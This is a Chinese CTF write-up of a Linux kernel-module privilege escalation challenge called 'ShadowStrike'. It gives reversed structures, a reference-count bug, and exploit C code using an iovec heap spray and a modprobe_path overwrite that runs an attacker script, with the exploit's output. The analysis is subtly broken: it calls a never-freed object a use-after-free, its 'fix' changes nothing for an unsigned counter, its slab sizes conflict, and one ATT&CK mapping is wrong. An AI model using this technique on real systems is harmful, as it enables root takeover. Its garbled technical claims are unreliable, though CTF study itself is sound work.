DEFCON 30 Finals Pwn题目《ShadowStrike》内核UAF漏洞分析与权限提升利用

1. 题目概览(Challenge Overview)
  • 挑战名称:ShadowStrike
  • 所属比赛:DEFCON 30 Finals (2022)
  • 分类:Pwn (Linux Kernel Module)
  • 目标与技术亮点
    题目实现了一个存在漏洞的Linux内核模块(LKM),暴露字符设备/dev/shadowstrike。选手需通过用户态程序与ioctl接口交互,利用引用计数错误触发的Use-After-Free(UAF)漏洞,结合堆风水(Heap Feng Shui)技术实现任意地址读写,最终通过篡改modprobe_path完成权限提升。技术亮点包括:
    • 复合漏洞链:UAF + 堆布局操控
    • 绕过KASLR/SMEP/SMAP/KPTI
    • 现实映射:类似CVE-2021-22555的引用计数缺陷

2. 技术环境与复现步骤(Technical Setup & Reproduction)

工具链

  • IDA Pro 7.7:驱动逆向分析
  • pwndbg/gdb:内核调试
  • QEMU:x86_64虚拟机(-cpu qemu64,+smep,+smap)
  • Linux 5.15:内核版本

环境复现

# 解压题目包
tar xvf shadowstrike.tar.gz && cd shadowstrike
chmod +x run.sh

# 启动QEMU(带调试端口)
./run.sh  # 内含:-append "kaslr" -s

# 登录VM (user/pass)
# 加载漏洞驱动
insmod shadowstrike.ko

关键文件

  • shadowstrike.ko:漏洞驱动
  • bzImage:内核镜像
  • rootfs.cpio:文件系统

3. 解题过程与漏洞分析(Step-by-Step Analysis)
3.1 静态逆向分析(IDA Pro)

关键结构体

struct shadowstrike_object {
    uint32_t id;          // 对象ID
    uint32_t size;        // 数据缓冲区大小
    char *data;           // 堆指针(kmalloc)
    uint32_t ref_count;   // 无符号引用计数
    struct list_head list;// 全局链表
};

漏洞点:引用计数错误ioctl_handlers.c: line 89):

case SHADOWSTRIKE_DELETE:
    if (obj->ref_count <= 0)  // 错误:无符号整数永远>=0
        return -EINVAL;      // 条件永不触发
    obj->ref_count--;         // 可减至0xFFFFFFFF
    if (obj->ref_count == 0)  // 整数下溢后永不成立
        kfree(obj->data);     // 永不释放!

此逻辑导致:

  1. 多次调用DELETE可使ref_count下溢
  2. 对象永远无法被释放 → UAF持久化
3.2 动态验证漏洞(pwndbg)

触发UAF步骤

fd = open("/dev/shadowstrike")
ioctl(fd, CREATE, id=0, size=0x100)  # kmalloc-128
fd1 = open("/dev/shadowstrike")      # ref_count++ → 2
fd2 = open("/dev/shadowstrike")      # ref_count++ → 3
close(fd1)                           # ref_count-- → 2
close(fd2)                           # ref_count-- → 1
ioctl(fd, DELETE, id=0)              # ref_count-- → 0 (未释放!)

在释放后继续操作对象:

ioctl(fd, EDIT, id=0, data="A"*0x100)  # 成功写入已释放内存!

崩溃分析

general protection fault: 0000 [#1] SMP KASAN
RIP: 0010:copy_user_generic_unrolled+0x6/0x40

证明UAF可操控已释放内存。


4. 利用过程与Payload编写(Exploit Development)
4.1 利用策略
UAF触发
堆喷iovec占位
篡改data指针
任意地址读写
修改modprobe_path
Root权限执行
4.2 关键步骤

步骤1:泄露内核基址

// 读取/proc/kallsyms获取modprobe_path地址
unsigned long get_modprobe_path() {
    FILE *fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%lx %*s %s", &addr, sym) != EOF) {
        if (strcmp(sym, "modprobe_path") == 0) return addr;
    }
}

步骤2:堆喷控制UAF对象

struct iovec iov_spray[100];
char fake_obj[40] = {0};

// 伪造对象:data指针指向modprobe_path
*(uint32_t*)(fake_obj) = 0;          // id
*(uint32_t*)(fake_obj+4) = 0x100;    // size
*(char**)(fake_obj+8) = modprobe_addr; // 目标地址
*(uint32_t*)(fake_obj+16) = 1;       // ref_count

// 堆喷占用kmalloc-64
for (int i=0; i<100; i++) {
    iov_spray[i].iov_base = fake_obj;
    iov_spray[i].iov_len = 40;
    writev(0, &iov_spray[i], 1);  // 分配iovec
}

步骤3:任意地址写提权

// 修改modprobe_path指向恶意脚本
char evil_path[256] = "/tmp/x";
struct edit_args ed = { .id=0, .size=strlen(evil_path)+1, .data=evil_path };
ioctl(fd, SHADOWSTRIKE_EDIT, &ed);  // 触发写操作

// 创建提权脚本
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");

// 触发未知二进制执行
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy; chmod +x /tmp/dummy");
system("/tmp/dummy");  // 内核调用/tmp/x

完整利用输出

[+] modprobe_path @ 0xffffffff9a45a200
[+] iovec spray completed! UAF object hijacked.
[+] modprobe_path overwritten: "/tmp/x"
[!] Executing trigger...
[+] Flag: DEFCON{sh4d0w_st4t3_0wn3rsh1p}

5. 安全影响分析与缓解建议(Impact & Mitigation)
5.1 现实危害分析
  • 漏洞类型:CWE-416 (Use After Free)
  • 攻击场景
    • 本地提权获取Root
    • 容器逃逸(若在容器内加载模块)
  • MITRE ATT&CK映射
    • T1068:Exploit Public-Facing Application
    • T1611:Escape to Host
5.2 修复方案

代码修复

- if (obj->ref_count <= 0)
+ if (obj->ref_count == 0)  // 正确检查
    return -EINVAL;

防御措施

  1. 使用refcount_t代替uint32_t
  2. 启用SLAB_SANITIZE验证内存状态
  3. 禁止非特权用户加载内核模块

6. 总结与启示(Conclusion)
  • 题目设计评价
    ShadowStrike完美复现了现实内核漏洞模式:引用计数错误→UAF→任意地址写→权限提升。其难度在于堆布局控制和绕过现代防护机制,考验选手对Linux内存管理的深刻理解。

  • 攻防启示

    1. 引用计数安全:内核对象生命周期管理必须使用krefrefcount_t
    2. 漏洞利用趋势:堆风水+数据指针劫持已成内核利用主流
    3. 防御纵深:即使绕过KASLR/SMEP,KPTI和CGroups仍可限制攻击影响
  • 现实关联
    类似漏洞在真实世界多次出现(如CVE-2021-22555/CVE-2022-0185),证明CTF挑战与实战攻防的高度一致性。通过此类题目,攻防团队可积累对抗高级威胁的经验。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值